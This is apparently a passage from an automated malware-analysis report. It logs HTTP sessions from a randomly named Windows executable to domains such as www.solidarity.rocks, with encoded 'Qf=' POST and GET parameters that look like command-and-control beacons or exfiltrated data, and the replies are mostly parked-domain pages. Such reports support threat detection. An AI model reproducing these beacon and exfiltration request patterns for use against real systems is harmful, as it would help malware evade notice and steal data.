Qf=1d1Jo0UMSTBnI5ACmqGAC3kmSZRhnVWppglP1ijC3MEGJLDGpnDKi21SQx1KbDqrbbQk89HFr7BY7iOQ5XSEi7ak7M0WbWfOqVV+zmvcu3PlbYRZ/HOK8m5FrLf6IonqAyZii99vOREmn04uk+047zr0gBIYtNEVixYJKgttbl3SVR9Dk/YLt86hhAnTj9NyAQahmoxG131pAfpjRHSGseRQuVR0D7aDtnaMwVPuym9VSqj6RrT7C8L/tIQTzHvBb7vq51sIbTAfh/b2IvqaZ1wtAG/IqLOn+S6b+caHDugJYsglQjanTdKj4lVESN0WZafLprFO0FZdB97Qvnb5Fp6K1O2xlKcFFFKvN+eykPt0C7iamJOemxrmQYT+W1fiEFKETqh35iZEyaTnt6yr0p9oahbOXKdmh92CmdWjsvuvTeoZGpzxixCrG+uaU5aZ1AxTNnY8WUSVDVqU+ryRX1MhqbTnKHhiPYEvq7igo6cYOKjvlbHWm4VgeT0gYHv5S51K5ed0QodmnMfift5qkhdvguCNfdH1Q1mB4M8cv3j3QxAFEih2RnLThY3dBWaY7Ps558nytin74On2uhysQbVdpvuG1+BrRvdnosC8jXtG21wgcS+oz/sF4sdY5yvqyBQhGKS0In13kZLlz4bfvr48MspjPObm7gyuYVXX5ljX0kj39E1zoT5nvIRtRegyp5k36lX40m0Y2ZTyugwd/WS+H0aitZsrARNOVFlgDeAyonETbmYe3vyl4xTCfv0buwELUXcLXcglO9eHd9Jd+LUcWxnAKXtJCWk7YEMZt5N98HvsYZMNrjISOgZxT1P1/Tgu6W3DpnKHf6FagGVLX54seC4PmBm8634djWw8X5YA8bZntkrQixN4FqHTRx9hu80/asXoRxT10AQsrMPYs1/BAXwfTLgg4UPQ19WVbEJ1mIix4QZq2tXEndALrg3A88cwAwJSV8BZh06mc16CU3zntccn3TGQKKStGoQLpCrcGcZRe [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	60402	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:35.517148018 CET	511	OUT	GET /vn3y/?dfNhZ=LvKD&Qf=4fdprAkJW3t6EugFrrKpOh0jAL9prUCCiVZOwyaX7LMwI5mxlEPHi2pNewAAFSa5SesK+9iUjYEa2ieL4iuLuai/7tsPeEKuo01Pwm69kGjHXqEwpX6I5hZBqJX4K4GQdg== HTTP/1.1 Host: www.everyone.golf Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Oct 29, 2024 10:02:37.011822939 CET	401	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 29 Oct 2024 09:02:36 GMT Content-Type: text/html Content-Length: 261 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 66 4e 68 5a 3d 4c 76 4b 44 26 51 66 3d 34 66 64 70 72 41 6b 4a 57 33 74 36 45 75 67 46 72 72 4b 70 4f 68 30 6a 41 4c 39 70 72 55 43 43 69 56 5a 4f 77 79 61 58 37 4c 4d 77 49 35 6d 78 6c 45 50 48 69 32 70 4e 65 77 41 41 46 53 61 35 53 65 73 4b 2b 39 69 55 6a 59 45 61 32 69 65 4c 34 69 75 4c 75 61 69 2f 37 74 73 50 65 45 4b 75 6f 30 31 50 77 6d 36 39 6b 47 6a 48 58 71 45 77 70 58 36 49 35 68 5a 42 71 4a 58 34 4b 34 47 51 64 67 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dfNhZ=LvKD&Qf=4fdprAkJW3t6EugFrrKpOh0jAL9prUCCiVZOwyaX7LMwI5mxlEPHi2pNewAAFSa5SesK+9iUjYEa2ieL4iuLuai/7tsPeEKuo01Pwm69kGjHXqEwpX6I5hZBqJX4K4GQdg=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	60403	199.59.243.227	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:42.232976913 CET	784	OUT	POST /hezo/ HTTP/1.1 Host: www.solidarity.rocks Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.solidarity.rocks Referer: http://www.solidarity.rocks/hezo/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 57 49 71 58 35 5a 4d 47 58 6f 68 58 78 70 6f 43 58 2f 55 33 4b 55 77 55 72 32 61 78 76 52 55 2b 41 78 50 32 46 68 44 4b 34 67 7a 79 74 34 6b 49 57 44 42 77 48 76 39 50 74 46 4b 6e 4b 79 6a 6c 4b 32 69 32 65 34 71 44 78 6d 65 6a 36 44 6e 6c 4a 73 73 53 4b 78 59 30 37 77 58 4a 64 6e 6e 59 61 62 58 70 5a 49 50 4f 78 72 59 32 79 42 67 62 39 46 65 39 4e 30 38 31 51 7a 35 47 30 31 75 62 76 53 61 64 38 7a 45 34 70 37 64 6b 4f 59 5a 57 49 63 50 4b 7a 46 45 38 4f 68 2f 6c 65 6c 2f 63 59 70 71 4c 4c 46 31 73 31 54 79 68 5a 70 48 57 2b 6c 75 50 6c 4e 52 41 49 6b 52 52 33 4a 41 55 4f 65 50 56 50 6f 38 3d Data Ascii: Qf=WIqX5ZMGXohXxpoCX/U3KUwUr2axvRU+AxP2FhDK4gzyt4kIWDBwHv9PtFKnKyjlK2i2e4qDxmej6DnlJssSKxY07wXJdnnYabXpZIPOxrY2yBgb9Fe9N081Qz5G01ubvSad8zE4p7dkOYZWIcPKzFE8Oh/lel/cYpqLLF1s1TyhZpHW+luPlNRAIkRR3JAUOePVPo8=
Oct 29, 2024 10:02:42.859625101 CET	1236	IN	HTTP/1.1 200 OK date: Tue, 29 Oct 2024 09:02:42 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: db650a96-5e8c-424f-a719-4fe4c6ca1ce0 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fI7+pj7aaNqhiibD+FAN38AVgGG0r8Ai82QDDyItkJyIQNDQ97Z5Z1+VlQteLF1QGRjwccZna07XC2AGtEJqVw== set-cookie: parking_session=db650a96-5e8c-424f-a719-4fe4c6ca1ce0; expires=Tue, 29 Oct 2024 09:17:42 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 66 49 37 2b 70 6a 37 61 61 4e 71 68 69 69 62 44 2b 46 41 4e 33 38 41 56 67 47 47 30 72 38 41 69 38 32 51 44 44 79 49 74 6b 4a 79 49 51 4e 44 51 39 37 5a 35 5a 31 2b 56 6c 51 74 65 4c 46 31 51 47 52 6a 77 63 63 5a 6e 61 30 37 58 43 32 41 47 74 45 4a 71 56 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fI7+pj7aaNqhiibD+FAN38AVgGG0r8Ai82QDDyItkJyIQNDQ97Z5Z1+VlQteLF1QGRjwccZna07XC2AGtEJqVw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 29, 2024 10:02:42.860090017 CET	587	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZGI2NTBhOTYtNWU4Yy00MjRmLWE3MTktNGZlNGM2Y2ExY2UwIiwicGFnZV90aW1lIjoxNzMwMTkyNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	60404	199.59.243.227	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:44.983041048 CET	804	OUT	POST /hezo/ HTTP/1.1 Host: www.solidarity.rocks Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.solidarity.rocks Referer: http://www.solidarity.rocks/hezo/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 57 49 71 58 35 5a 4d 47 58 6f 68 58 33 4a 34 43 62 2f 6f 33 50 30 77 58 6b 57 61 78 36 68 55 79 41 78 44 32 46 6b 6a 61 34 54 58 79 74 5a 55 49 58 43 42 77 4a 50 39 50 31 56 4c 73 46 53 6a 37 4b 32 6d 45 65 35 57 44 78 6d 4b 6a 36 43 58 6c 4a 2f 45 54 4b 68 59 79 30 51 58 4c 54 48 6e 59 61 62 58 70 5a 4a 2f 6f 78 72 51 32 78 77 51 62 79 48 32 2b 52 45 38 36 58 7a 35 47 69 46 75 66 76 53 61 2f 38 79 4a 6a 70 39 52 6b 4f 64 31 57 49 49 6a 4a 71 31 46 33 54 52 2b 39 64 56 43 43 55 4a 71 6c 4a 55 34 5a 6a 45 57 59 63 66 71 38 6b 48 6d 6e 32 74 39 34 59 33 5a 6d 6d 35 68 39 55 39 66 6c 52 2f 70 6d 6c 2f 35 54 52 47 54 47 72 64 57 68 51 45 6f 51 4a 4c 6c 74 Data Ascii: Qf=WIqX5ZMGXohX3J4Cb/o3P0wXkWax6hUyAxD2Fkja4TXytZUIXCBwJP9P1VLsFSj7K2mEe5WDxmKj6CXlJ/ETKhYy0QXLTHnYabXpZJ/oxrQ2xwQbyH2+RE86Xz5GiFufvSa/8yJjp9RkOd1WIIjJq1F3TR+9dVCCUJqlJU4ZjEWYcfq8kHmn2t94Y3Zmm5h9U9flR/pml/5TRGTGrdWhQEoQJLlt
Oct 29, 2024 10:02:45.600163937 CET	1236	IN	HTTP/1.1 200 OK date: Tue, 29 Oct 2024 09:02:44 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: bebf161d-dad4-4e7a-9523-075325ba7f33 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fI7+pj7aaNqhiibD+FAN38AVgGG0r8Ai82QDDyItkJyIQNDQ97Z5Z1+VlQteLF1QGRjwccZna07XC2AGtEJqVw== set-cookie: parking_session=bebf161d-dad4-4e7a-9523-075325ba7f33; expires=Tue, 29 Oct 2024 09:17:45 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 66 49 37 2b 70 6a 37 61 61 4e 71 68 69 69 62 44 2b 46 41 4e 33 38 41 56 67 47 47 30 72 38 41 69 38 32 51 44 44 79 49 74 6b 4a 79 49 51 4e 44 51 39 37 5a 35 5a 31 2b 56 6c 51 74 65 4c 46 31 51 47 52 6a 77 63 63 5a 6e 61 30 37 58 43 32 41 47 74 45 4a 71 56 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fI7+pj7aaNqhiibD+FAN38AVgGG0r8Ai82QDDyItkJyIQNDQ97Z5Z1+VlQteLF1QGRjwccZna07XC2AGtEJqVw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 29, 2024 10:02:45.600406885 CET	587	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYmViZjE2MWQtZGFkNC00ZTdhLTk1MjMtMDc1MzI1YmE3ZjMzIiwicGFnZV90aW1lIjoxNzMwMTkyNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	60405	199.59.243.227	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:47.643004894 CET	1821	OUT	POST /hezo/ HTTP/1.1 Host: www.solidarity.rocks Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.solidarity.rocks Referer: http://www.solidarity.rocks/hezo/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1239 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 57 49 71 58 35 5a 4d 47 58 6f 68 58 33 4a 34 43 62 2f 6f 33 50 30 77 58 6b 57 61 78 36 68 55 79 41 78 44 32 46 6b 6a 61 34 54 66 79 74 76 67 49 58 6c 56 77 4b 50 39 50 72 46 4c 76 46 53 69 6e 4b 32 66 4e 65 35 62 32 78 6b 79 6a 37 67 76 6c 65 65 45 54 54 52 59 79 32 51 58 57 64 6e 6e 4e 61 62 47 69 5a 4a 50 6f 78 72 51 32 78 7a 49 62 31 56 65 2b 43 55 38 31 51 7a 35 43 30 31 75 7a 76 53 44 43 38 79 4e 7a 70 4e 78 6b 4a 35 56 57 62 4e 50 4a 31 46 46 31 51 52 2b 75 64 56 4f 6a 55 4a 32 44 4a 55 4d 33 6a 43 6d 59 63 70 2b 68 77 55 75 42 71 66 38 63 65 48 41 4c 38 76 52 4e 65 37 69 54 62 74 51 47 6b 76 78 6b 65 7a 37 6a 67 50 57 30 54 43 67 46 47 75 77 62 75 61 4f 76 50 78 73 2f 43 77 44 61 45 2f 48 44 74 41 46 4d 54 61 6c 79 34 71 50 6e 46 31 50 6a 35 34 6e 5a 74 77 70 45 73 67 4f 68 75 53 72 6c 37 69 78 2b 4e 7a 6c 50 66 52 53 54 62 4c 71 78 69 70 4a 57 4c 50 72 48 69 70 38 68 50 6c 6b 51 48 53 33 77 58 61 39 65 4b 70 77 79 4a 42 45 34 69 51 30 43 30 4c 7a 36 34 63 70 65 4a 54 35 62 75 6c 70 [TRUNCATED] Data Ascii: Qf=WIqX5ZMGXohX3J4Cb/o3P0wXkWax6hUyAxD2Fkja4TfytvgIXlVwKP9PrFLvFSinK2fNe5b2xkyj7gvleeETTRYy2QXWdnnNabGiZJPoxrQ2xzIb1Ve+CU81Qz5C01uzvSDC8yNzpNxkJ5VWbNPJ1FF1QR+udVOjUJ2DJUM3jCmYcp+hwUuBqf8ceHAL8vRNe7iTbtQGkvxkez7jgPW0TCgFGuwbuaOvPxs/CwDaE/HDtAFMTaly4qPnF1Pj54nZtwpEsgOhuSrl7ix+NzlPfRSTbLqxipJWLPrHip8hPlkQHS3wXa9eKpwyJBE4iQ0C0Lz64cpeJT5bulpP4N/zRA3uIagtInzkDt6hVgPQoTDBoBRA1oKuPhdaxXmRS3ro2ebP8hrxT7jmvEn7609qSkIGoTWbUDyNkpmnfgnaPljcHwy/LXAU/KjkUQvhbTfTztW6PE9zgas1TR2z8iWElRYxpMDLmEGQrnqEREL0u2TW4ULduG7aBABJwEujoWeWwhH9mRvWNgdwNPNNI6prWNbikYZcTCKtBm7MequWoiwpLcGgUZrdmOC4RfHsuqOuwfM9MmxtXLmFtbiaffCtt5/tf+U1vqJEoPFagBeeLMVIoANUhKGkvSK9HaP3B4YpSqncBZkhgVTJ/UKHW3mxeEMETYlaZoRBV0Phk6Br8yBHZG6OQM/uWJjht0K2lEEuyCVswUOzDunyAf8kbVC5RFpTQPF8jFL/0uCUvSQIzvMl0DcNXUL4JJZHO/uAmyre5oS4cIWR4jIjHCRH7nMiUgpN+Byl9tE4gm78UdWjXJgpaO8KLEnZ848lqx866Ic9yYro/WX2QFQO3T2ZTq3iuJ4TM3JjtUKRBnDo6YnA7KjyHVCEhzMunwYmATfS1QeeMBEAKa2EpzV3tykgdaTJ6K0WuzfRqNuUw18f1Gad7eKiZfkd56rt9G4awE3XPeMCDUeZLcNsePUFi6no4hx/EsVTy8dd6IRMKTAcfp729gGISH4oB [TRUNCATED]
Oct 29, 2024 10:02:48.394973993 CET	1236	IN	HTTP/1.1 200 OK date: Tue, 29 Oct 2024 09:02:47 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: c903e3be-0fb1-4a8f-b624-9ac4516b1de5 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fI7+pj7aaNqhiibD+FAN38AVgGG0r8Ai82QDDyItkJyIQNDQ97Z5Z1+VlQteLF1QGRjwccZna07XC2AGtEJqVw== set-cookie: parking_session=c903e3be-0fb1-4a8f-b624-9ac4516b1de5; expires=Tue, 29 Oct 2024 09:17:48 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 66 49 37 2b 70 6a 37 61 61 4e 71 68 69 69 62 44 2b 46 41 4e 33 38 41 56 67 47 47 30 72 38 41 69 38 32 51 44 44 79 49 74 6b 4a 79 49 51 4e 44 51 39 37 5a 35 5a 31 2b 56 6c 51 74 65 4c 46 31 51 47 52 6a 77 63 63 5a 6e 61 30 37 58 43 32 41 47 74 45 4a 71 56 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fI7+pj7aaNqhiibD+FAN38AVgGG0r8Ai82QDDyItkJyIQNDQ97Z5Z1+VlQteLF1QGRjwccZna07XC2AGtEJqVw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 29, 2024 10:02:48.394994020 CET	212	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYzkwM2UzYmUtMGZiMS00YThmLWI2MjQtOWFjNDUxNmIxZGU
Oct 29, 2024 10:02:48.398783922 CET	375	IN	Data Raw: 31 49 69 77 69 63 47 46 6e 5a 56 39 30 61 57 31 6c 49 6a 6f 78 4e 7a 4d 77 4d 54 6b 79 4e 54 59 34 4c 43 4a 77 59 57 64 6c 58 33 56 79 62 43 49 36 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 63 32 39 73 61 57 52 68 63 6d 6c 30 65 53 35 79 62 Data Ascii: 1IiwicGFnZV90aW1lIjoxNzMwMTkyNTY4LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cuc29saWRhcml0eS5yb2Nrcy9oZXpvLyIsInBhZ2VfbWV0aG9kIjoiUE9TVCIsInBhZ2VfcmVxdWVzdCI6e30sInBhZ2VfaGVhZGVycyI6eyJyZWZlcmVyIjpbImh0dHA6Ly93d3cuc29saWRhcml0eS5yb2Nrcy9oZXpvLyJdfSwiaG9zdC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	60406	199.59.243.227	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:50.194461107 CET	514	OUT	GET /hezo/?Qf=bKC36uQqTYAW1Z0uXOc3KBFqzGaL5BZKFiqBCDC6/n3apod3QxJOH8RljG7tDR+ZJnSddaKa4mqx0DHccc9oLw4oijXKRmO4QJbET8Dl2ZwK3TY4olCXNmcrQQUcwGDKyQ==&dfNhZ=LvKD HTTP/1.1 Host: www.solidarity.rocks Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Oct 29, 2024 10:02:50.842361927 CET	1236	IN	HTTP/1.1 200 OK date: Tue, 29 Oct 2024 09:02:49 GMT content-type: text/html; charset=utf-8 content-length: 1486 x-request-id: a77f5a82-6e54-4104-8855-1c57edb40c4a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_WVD+Cc47Ou3dINMfQ+eZ9ayM/S2SD+TDZk3+1+MPNkd4a5SCxcY6taMj/vaY6nU5hquNgXMMNaTY2PZiyPJwLQ== set-cookie: parking_session=a77f5a82-6e54-4104-8855-1c57edb40c4a; expires=Tue, 29 Oct 2024 09:17:50 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 57 56 44 2b 43 63 34 37 4f 75 33 